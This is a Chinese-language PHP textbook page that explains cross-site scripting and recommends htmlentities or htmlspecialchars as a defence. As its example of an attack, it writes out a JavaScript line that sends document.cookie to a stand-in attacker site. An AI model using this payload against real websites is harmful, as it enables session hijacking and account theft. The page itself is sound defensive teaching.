PHP 程式設計/跨站點指令碼攻擊
外觀
< PHP 程式設計
(重定向自 PHP 程式設計/跨站點指令碼)
跨站點指令碼 (或 XSS) 是對指令碼傳送敏感資訊(如 cookie 或其他會話識別符號)到其他網站的基本描述。
通常,這些攻擊會影響內容可以編輯或新增的網站。在大多數情況下,會話識別符號甚至使用者名稱/密碼都儲存在 cookie 中。如果有人知道會話識別符號,他們可以在自己的機器上輕鬆使用它來執行任何惡意任務,而這些任務不會讓你滿意。
現在,如果你在華夏公益教科書或任何其他網站上登入,請訪問該頁面並在位址列中鍵入以下內容
javascript:void(alert(document.cookie))
這些是每次傳送到網站以識別你的 cookie。如果你的網站沒有防範 XSS,駭客會寫下類似這樣的內容
javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))
這將把 cookie 資訊傳送到他們的網站。
如果不刪除會提交到另一個網站的惡意 HTML/JavaScript 程式碼,就無法保護自己免受 XSS 攻擊。
到目前為止,最常見的方法是使用 htmlentities 或 htmlspecialchars 過濾編碼,這樣就沒有人可以在你的網站(例如部落格評論)中新增任何 HTML。
$message = htmlentities($message);
另一種方法是建立任何型別的“保護模式”程式碼,例如 MediaWiki、BBCode 或其他為方便使用者內容的樣式/格式而發明的程式碼。